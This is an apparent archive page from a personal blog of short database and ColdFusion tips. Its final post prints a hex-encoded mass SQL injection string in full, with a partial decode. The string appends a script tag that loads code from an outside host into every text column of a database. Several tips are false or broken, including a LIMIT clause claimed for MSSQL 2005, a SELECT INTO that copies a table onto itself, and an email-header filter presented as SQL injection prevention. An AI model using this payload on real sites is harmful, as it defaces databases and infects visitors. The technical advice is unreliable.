Against All Odds - MySql

Why Coldfusion 9 cannot connect SQL 2005 Express?

Sat, 23 Apr 2011 22:16:00 -0700

In my life, mySQL database is very touch to use. Because it's very complicated to add or remove data column, rename the table name and inserting demo data without installing phpMyAdmin. That's why I decided to remove mySQL as my project database and to install SQL 2005 server Express version. So, download both of SQL 2005 Server and also management studio express version. Honestly, installing of SQL 2005 express version is very simple and easy. Because, my before time I've used to develop Coldfusion Project with SQL server. That's why I can say it's simple. Unfortunately, I encountered the following error when I tried to connection SQL 2005 server in Coldfusion Administrator. [More]

Simple Learning about Oracle Tuning

Thu, 06 Jan 2011 17:47:00 -0700

Today I have to retrieve data from the largest table of my project in Oracle. Approximately, this table has more than 1 million records and need to retrieve data carefully when we need. Now what I need to do is to retrieve negative quantity from this table. There are two ways to retrieve negative quantity from the table. One is systemically and second is simple way.



	select * from nh_inv_trx_tmp
	where transaction_date < '7-Jan-2008'
	and abs(quantity) <> quantity



	select * from nh_inv_trx_tmp
	where transaction_date < '7-Jan-2008'
	and quantity < 0

[More]

Kill Query Session in Oracle

Tue, 04 Jan 2011 16:35:00 -0700

In Microsoft SQL, we can trace currently which SQL query takes execution time and load of each SQL query in SQL Profiler. In Oracle, what should we do? It's not that simple like Microsoft SQL. Open TOAD and login as SYSTEM authentication. Then type following statement into TOAD SQL.




SELECT * FROM V$SESSION WHERE STATUS = 'ACTIVE' AND USERNAME = 'MYDSN'

Run this query. After that, all active query will be displayed and note which query execution time takes so long. [More]

Struct in Coldfusion led get 28 error in mysql

Sun, 31 Oct 2010 19:07:00 -0700

My blog was almost dead last weekend because which encountered get 28 error in mysql. That's why I was seeking how come this error occurred in my blog. After a few hours, I found that query cache in mysql exceed the limited amount due to struct function of Coldfusion.

As the outcome of troubleshooting, using Struct in coldfusion may leak database memory and should make clear all value in Struct after using. In mysql, Coldfusion create the blank temporary table for struct function when we using it. After assigning value into struct by developers, Coldfusion also adding value from struct into the blank temporary table. For every single request, Coldfusion always create the single blank temporary table for struct. For million requests, Coldfusion will also do like that? :)

Copy two tables in MsSql

Tue, 01 Sep 2009 06:33:00 -0700

Do you know how to copy two tables in mssql 2000? It's quite simple.

SELECT *
INTO master.dbo.micro_blog
FROM master.dbo.micro_blog

Add new record at identity Off

Thu, 11 Jun 2009 06:32:00 -0700

Today, I was kinda disappointed. Because, the project I got hand-over from my colleague have some SQL error. The case is our customer wanted to add new record to this table; and she set ID of this table as Identity OFF and not set identity. That's why our customer cannot add new record to this table. That's why I kept reserching how to add new record to this table. But, I have found one solution.


SET IDENTITY_INSERT myTable ON; INSERT INTO myTable (myId, myCol1)
VALUES (@myId, @myCol1); SELECT myId, myCol1 FROM myTable WHERE (myId =
@@IDENTITY); SET IDENTITY_INSERT myTable OFF;

But it cannot solve my problem. Anyway, I get valuable solution for future.

Single Attach MDF MSSQL

Thu, 04 Jun 2009 06:32:00 -0700

Some many projects drive me so far to update my blog in these days. So, I want to update my blog when I get free time. In this post, I'll describe how to reduce our storage size by the way of deleting Log File (.ldf) of MsSQL. Sometimes, Log file is bigger than Data File (.mdf) because it save all transaction of whatever we do to our database. That's why I want to delete log file (without having risks) and create new log file without having log records. Yap, here we go. First of all, we need to detach our database. Then, delete .ldf file. (if you're not sure, backup this log file). Then, open Query Analyzer and type following coding.


EXEC sp_attach_single_file_db @dbname = '[db_name]', 1, 
@physname = 'C:\MSSQL\Data\[mdf_file_name]'

After that, run it. SQL will create new log file for you. How? Easy. Isn't it?

Limit tag in MsSQL 2005

Thu, 21 May 2009 06:32:00 -0700

Hope everybody knows about limit tag MsSql 2005. I feel that's cool and can reduce the load of SQL query just like mySQL. It's kinda simple to use this tag.


SELECT * FROM myTable limit 1,10

If we write so, the sql will return starting from the first record, and plus 10 record in the recordset of myTable.


SELECT * FROM myTable limit 20,40

If we write so, the sql will return starting from the 20th and plus 10 record of myTable. How.? It's easy, isn't it?

SQL Injection prevented by PHP

Tue, 21 Apr 2009 06:32:00 -0700

Above posts, I've described the figure of SQL ASCII Injections and the solutions of this prevented by asp, asp.net and cfmx. In this post, I'll show how to prevent SQL ASCII Injection attacks by the way of inserting ASCII codes in PHP.


function clean_header($string)
{
$string = trim($string);

// From RFC 822: "The field-body may be composed of any ASCII
// characters, except CR or LF."
if (strpos($string, "\n") !== false) {
$string = substr($string, 0, strpos($string, "\n"));
}
if (strpos($string, "\r") !== false) {
$string = substr($string, 0, strpos($string, "\r"));
}

return $string;
}

This is just a class, and you always need to call this class before saving data into database from input box. It's simple though. Big Credit to : http://xtian.goelette.info/archives/38-Email-injection-attack.html

ASCII Encoded/Binary String Automated SQL Injection Attack

Sat, 11 Apr 2009 06:32:00 -0700

In these days, some websites have been attacked by ASCII Encoded/Binary String Automated SQL Injection Attack, by the way of using of using such binary string after query string of your website.

?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST
(0x4445434C4152452040542076617263686172283235352
92C40432076617263686172283430303029204445434C41
5245205461626C655F437572736F7220435552534F52204
64F522073656C65637420612E6E616D652C622E6E616D65206672
6F6D207379736F626A6563747320612C737973636F6C75
6D6E73206220776865726520612E69643D622E696420616E
6420612E78747970653D27752720616E642028622E7874797
0653D3939206F7220622E78747970653D3335206F7220622
E78747970653D323331206F7220622E78747970653D31
363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D20205
461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F53544
15455533D302920424547494E206578656328
27757064617465205B272B40542B2
75D20736574205B272B40432B275D3D5B272B
40432B275D2B2727223E3C2F7469
746C653E3C736372697074207372633D22687
474703A2F2F73646F2E313030306
D672E636E2F63737273732F772E6A73223E3C
2F7363726970743E3C212D2D2727
20776865726520272B40432B27206E6F74206C
696B6520272725223E3C2F74697
46C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D
672E636E2F63737273732F772E6A73223E3C2F
7363726970743E3C212D2D27272
7294645544348204E4558542046524F4D20205
461626C655F437572736F7220494
E544F2040542C404320454E4420434C4F53452
05461626C655F437572736F72204
445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));
EXEC(@S);

Really, it's encoded format of store procedure string. To convert it into SQL format, here is coding

DECLARE @SCHAR(4000);SET @S=CAST(DECLARE @T varchar(255)'@C
varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name
from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T'@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=['+@C+']+''">